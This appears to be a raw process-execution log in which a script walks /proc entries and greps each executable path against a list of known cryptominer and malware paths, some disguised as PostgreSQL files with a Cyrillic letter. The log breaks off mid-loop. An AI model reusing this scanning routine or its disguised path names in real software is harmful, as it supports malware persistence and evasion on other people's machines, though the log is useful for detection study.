/bin/ls

[ls -latrh /proc/174]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/175]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/176]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/177]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/178]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/179]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/18]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/180]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/182]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/19]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/2]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/20]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/207]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/208]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/21]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/22]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/23]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/24]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/25]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/26]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/260]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/27]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/277]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/28]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/29]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/3]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/30]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/31]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/32]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/34]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/35]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/355]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/356]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/36]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/4]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/418]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/419]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/424]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/427]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/428]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/432]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/441]

/bin/grep

